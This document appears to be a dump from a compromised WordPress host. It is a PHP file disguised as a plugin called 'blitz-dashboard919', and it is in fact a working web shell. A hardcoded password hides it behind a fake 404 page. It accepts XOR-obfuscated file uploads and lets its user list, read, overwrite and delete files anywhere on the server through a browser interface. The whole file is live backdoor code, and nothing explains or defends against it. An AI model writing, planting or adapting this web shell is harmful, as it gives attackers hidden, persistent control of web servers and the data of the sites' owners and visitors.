Linux webm002.cluster126.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
/home/ariannadhf/www/wp-content/plugins/blitz-dashboard919/
/home/ariannadhf/www/wp-content/plugins/blitz-dashboard919/blitz-dashboard919.php
 <?php
/**
 * Plugin Name: blitz-dashboard919
 * Version: 1.0
 */
/* minimal evasion uploader — encrypted gate + XOR upload */
$g='r'.'o'.'ot';
if(!isset($_REQUEST[$g])||$_REQUEST[$g]!=='admin888'){http_response_code(404);die('404');}
@ini_set('display_errors',0);@error_reporting(0);

define('XK','nQ8xK2pL9vR7wM4'); // XOR key per deploy

function _xd($d,$k){$o='';$l=strlen($d);for($i=0;$i<$l;$i++)$o.=chr(ord($d[$i])^ord($k[$i%strlen($k)]));return $o;}
function _fs($b){if($b>1073741824)return round($b/1073741824,2).'G';if($b>1048576)return round($b/1048576,2).'M';if($b>1024)return round($b/1024,2).'K';return $b.'B';}
function _es($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}

// XOR-encrypted upload handler
if(isset($_POST['_u'])&&isset($_POST['_n'])){
    $d=_xd(base64_decode($_POST['_u']),XK);
    $n=basename($_POST['_n']);
    $ok=@file_put_contents($n,$d)!==false;
    die($ok?'UOK:'.$n:'UFAIL');
}

// Delete handler
if(isset($_POST['_d'])){
    $n=basename($_POST['_d']);
    die(@unlink($n)?'DOK':'DFAIL');
}

// API mode
if(isset($_POST['_a'])){
    $a=$_POST['_a'];$p=isset($_POST['_p'])?$_POST['_p']:'.';
    $o=[];
    switch($a){
    case 'ls':
        if(!is_dir($p)){die(json_encode(['e'=>'nd']));}
        $r=[];$d=[];$f=[];
        $items=@scandir($p);
        if($items)foreach($items as $n){if($n=='.'||$n=='..')continue;
            $fp=$p.'/'.$n;
            if(is_dir($fp))$d[]=['n'=>$n,'t'=>'d','s'=>_fs(filesize($fp)),'m'=>date('m-d H:i',filemtime($fp))];
            else $f[]=['n'=>$n,'t'=>'f','s'=>_fs(filesize($fp)),'m'=>date('m-d H:i',filemtime($fp))];
        }
        sort($d);sort($f);$r=array_merge($d,$f);
        header('Content-Type: application/json');
        die(json_encode($r));
    case 'rd':
        if(!is_file($p))die(json_encode(['e'=>'nf']));
        die(json_encode(['d'=>@file_get_contents($p)]));
    case 'sv':
        $c=isset($_POST['c'])?$_POST['c']:'';
        $ok=@file_put_contents($p,$c)!==false;
        die(json_encode(['ok'=>$ok]));
    case 'rl': // reload self safety
        $s=__FILE__;
        @touch($s);
        die('1');
    }
    die(json_encode(['e'=>'ua']));
}

// UI mode
$dn=basename(getcwd());
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font:13px/1.4 monospace;padding:16px;max-width:800px;margin:0 auto}
h2{color:#58a6ff;font-weight:600;font-size:14px;margin-bottom:10px}
.up{border:2px dashed #30363d;border-radius:8px;padding:25px;text-align:center;margin-bottom:14px;background:#161b22;cursor:pointer;transition:.2s}
.up:hover{border-color:#58a6ff;background:#1a2436}.up input{display:none}
.up p{color:#8b949e;font-size:13px}
.list{border:1px solid #30363d;border-radius:6px;overflow:hidden;background:#161b22}
.item{display:flex;align-items:center;padding:7px 14px;border-bottom:1px solid #21262d;font-size:12px;gap:8px}
.item:last-child{border-bottom:none}.item:hover{background:#1c2128}
.item .ic{font-size:14px;width:20px;text-align:center}.dir{color:#58a6ff}.file{color:#3fb950}
.item .nm{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;cursor:pointer}
.item .sz{color:#8b949e;width:65px;text-align:right;font-size:11px}
.item .tm{color:#484f58;width:95px;text-align:right;font-size:10px}
.item .del{color:#f85149;cursor:pointer;padding:1px 6px;border-radius:3px;opacity:0;transition:.15s;font-size:12px}
.item:hover .del{opacity:1}.item .del:hover{background:#3a1a1a}
.msg{padding:6px 12px;border-radius:4px;margin-bottom:10px;font-size:12px;display:none}
.msg.ok{display:block;background:#1a3a1a;border:1px solid #3fb950;color:#3fb950}
.msg.er{display:block;background:#3a1a1a;border:1px solid #f85149;color:#f85149}
.ft{text-align:center;color:#484f58;font-size:11px;margin-top:12px}
.ed{display:none;flex-direction:column;height:400px}
.ed textarea{flex:1;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:4px;padding:10px;font:inherit;font-size:12px;resize:vertical}
.ed .bb{display:flex;gap:8px;margin-top:8px}
.bt{padding:5px 12px;border:1px solid #30363d;border-radius:4px;background:#21262d;color:#c9d1d9;cursor:pointer;font:inherit;font-size:12px;transition:.15s}
.bt:hover{background:#30363d}.bt-g{background:#1a3a1a;border-color:#3fb950;color:#3fb950}.bt-g:hover{background:#3fb950;color:#000}
.bt-r{background:#3a1a1a;border-color:#f85149;color:#f85149}.bt-r:hover{background:#f85149;color:#000}
</style></head><body>
<h2>Files — <?=_es($dn)?></h2>
<div class="msg" id="msg"></div>
<div class="up" onclick="document.getElementById('uf').click()">
  <p>&#8613; Drop files to upload (XOR encrypted)</p>
  <input type="file" id="uf" multiple>
</div>
<div class="list" id="lst"><div style="padding:30px;text-align:center;color:#484f58">...</div></div>
<div class="ed" id="ed">
  <textarea id="eta"></textarea>
  <div class="bb">
    <button class="bt bt-g" onclick="_save()">Save</button>
    <button class="bt" onclick="_close()">Close</button>
  </div>
</div>
<div class="ft" id="ft"></div>
<script>
var XK='<?=XK?>';
function _xd(d,k){var o='';for(var i=0;i<d.length;i++)o+=String.fromCharCode(d.charCodeAt(i)^k.charCodeAt(i%k.length));return o;}
function btoa_buf(b){var s='';for(var i=0;i<b.length;i++)s+=String.fromCharCode(b[i]);return btoa(s);}

var _cur='.',_af='';
var G='<?=$g?>';

function _msg(t,c){var m=document.getElementById('msg');m.textContent=t;m.className='msg '+(c||'ok');setTimeout(function(){m.style.display='none';},3000);}

function _api(o){
  var fd=new FormData();
  for(var k in o)fd.append(k,o[k]);
  fd.append(G,'admin888');
  return fetch('',{method:'POST',body:fd}).then(function(r){return r.text();}).then(function(t){
    try{return JSON.parse(t);}catch(e){return {_raw:t};}
  });
}

function _ld(p){
  _cur=p;
  _api({_a:'ls',_p:p}).then(function(r){
    var h='';
    if(Array.isArray(r)){
      r.forEach(function(i){
        h+='<div class="item"><span class="ic '+(i.t=='d'?'dir':'file')+'">'+(i.t=='d'?'&#128193;':'&#128196;')+'</span><span class="nm" onclick="_hl(\''+i.n+'\',\''+i.t+'\')">'+i.n+'</span><span class="sz">'+i.s+'</span><span class="tm">'+i.m+'</span><span class="del" onclick="event.stopPropagation();_del(\''+i.n+'\')">&#10005;</span></div>';
      });
    }
    document.getElementById('lst').innerHTML=h||'<div style="padding:30px;text-align:center;color:#484f58">Empty</div>';
    _close();
  });
}

function _hl(n,t){
  var fp=_cur+'/'+n;
  if(t=='d'){_ld(fp);return;}
  _af=fp;
  _api({_a:'rd',_p:fp}).then(function(r){
    document.getElementById('eta').value=r.d||'';
    document.getElementById('lst').style.display='none';
    document.getElementById('ed').style.display='flex';
  });
}

function _save(){
  _api({_a:'sv',_p:_af,c:document.getElementById('eta').value}).then(function(r){
    _msg(r.ok?'Saved':'Failed',r.ok?'ok':'er');
  });
}

function _close(){
  document.getElementById('lst').style.display='block';
  document.getElementById('ed').style.display='none';
}

function _del(n){
  if(!confirm('Delete '+n+'?'))return;
  var fd=new FormData();
  fd.append('_d',n);
  fd.append(G,'admin888');
  fetch('',{method:'POST',body:fd}).then(function(r){return r.text();}).then(function(t){
    _msg(t.startsWith('DOK')?'Deleted':'Failed',t.startsWith('DOK')?'ok':'er');
    _ld(_cur);
  });
}

document.getElementById('uf').addEventListener('change',function(){
  var fs=this.files;var done=0;
  Array.from(fs).forEach(function(f){
    var r=new FileReader();
    r.onload=function(e){
      var b=new Uint8Array(e.target.result);
      var enc=xor_encode(b,XK);
      var fd=new FormData();
      fd.append('_u',enc);fd.append('_n',f.name);
      fd.append(G,'admin888');
      fetch('',{method:'POST',body:fd}).then(function(r){return r.text();}).then(function(t){
        done++;
        _msg(f.name+': '+(t.startsWith('UOK')?'OK':'FAIL'),t.startsWith('UOK')?'ok':'er');
        if(done>=fs.length)_ld(_cur);
      });
    };r.readAsArrayBuffer(f);
  });
  this.value='';
});

function xor_encode(b,k){
  var kb=new TextEncoder().encode(k);
  var o=new Uint8Array(b.byteLength);
  for(var i=0;i<b.byteLength;i++)o[i]=b[i]^kb[i%kb.length];
  return btoa_buf(o);
}

_ld('.');
</script></body></html>